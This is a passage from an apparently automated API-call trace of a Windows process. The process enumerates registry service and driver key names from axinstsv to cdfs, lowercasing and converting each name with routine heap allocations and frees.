lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0215.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0215.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.820] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0215.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0215.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0215.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.822] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0215.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0215.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.822] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0215.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.823] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0215.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.824] RtlFreeHeap (HeapHandle=0x2520000, 